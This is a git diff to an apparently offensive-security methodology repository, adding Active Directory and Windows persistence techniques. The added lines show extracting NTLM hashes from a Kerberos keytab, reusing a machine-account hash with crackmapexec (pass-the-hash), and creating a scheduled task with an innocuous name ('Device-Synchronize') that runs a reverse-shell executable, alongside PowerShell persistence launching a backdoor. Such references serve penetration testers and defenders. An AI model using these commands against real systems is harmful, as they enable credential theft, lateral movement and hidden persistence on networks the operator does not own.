diff --git a/Methodology and Resources/Active Directory Attack.md b/Methodology and Resources/Active Directory Attack.md
index d5265e6..f8f911b 100644
--- a/Methodology and Resources/Active Directory Attack.md	
+++ b/Methodology and Resources/Active Directory Attack.md	
@@ -1779,11 +1779,22 @@ $ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
 [26] Service principal: host/COMPUTER@DOMAIN
 	 KVNO: 25
 	 Key type: 23
-	 Key: 6b3723410a3c54692e400a5862256e0a
+	 Key: 31d6cfe0d16ae931b73c59d7e0c089c0
 	 Time stamp: Oct 07,  2019 09:12:02
 [...]
 ```
 
+On Linux you can use [`KeyTabExtract`](https://github.com/sosdave/KeyTabExtract): we want RC4 HMAC hash to reuse the NLTM hash.
+
+```powershell
+$ python3 keytabextract.py krb5.keytab 
+[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
+[+] Keytab File successfully imported.
+        REALM : DOMAIN
+        SERVICE PRINCIPAL : host/computer.domain
+        NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky
+```
+
 On macOS you can use `bifrost`.
 
 ```powershell
@@ -1793,13 +1804,10 @@ On macOS you can use `bifrost`.
 Connect to the machine using the account and the hash with CME.
 
 ```powershell
-$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "6b3723410a3c54692e400a5862256e0a" -d "DOMAIN"
-CME          10.XXX.XXX.XXX:445 HOSTNAME-01   [+] DOMAIN\COMPUTER$ 6b3723410a3c54692e400a5862256e0a  
+$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN"
+CME          10.XXX.XXX.XXX:445 HOSTNAME-01   [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0  
 ```
 
-
-
-
 ## References
 
 * [Explain like I’m 5: Kerberos - Apr 2, 2013 - @roguelynn](https://www.roguelynn.com/words/explain-like-im-5-kerberos/)
diff --git a/Methodology and Resources/Windows - Persistence.md b/Methodology and Resources/Windows - Persistence.md
index da207ba..d865beb 100644
--- a/Methodology and Resources/Windows - Persistence.md	
+++ b/Methodology and Resources/Windows - Persistence.md	
@@ -102,6 +102,17 @@ SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -
 
 ### Scheduled Tasks User
 
+Using native **schtask**
+
+```powershell
+# Create the scheduled tasks to run once at 00.00
+schtasks /create /sc ONCE /st 00:00 /tn "Device-Synchronize" /tr C:\Temp\revshell.exe
+# Force run it now !
+schtasks /run /tn "Device-Synchronize"
+```
+
+Using Powershell
+
 ```powershell
 PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"
 PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"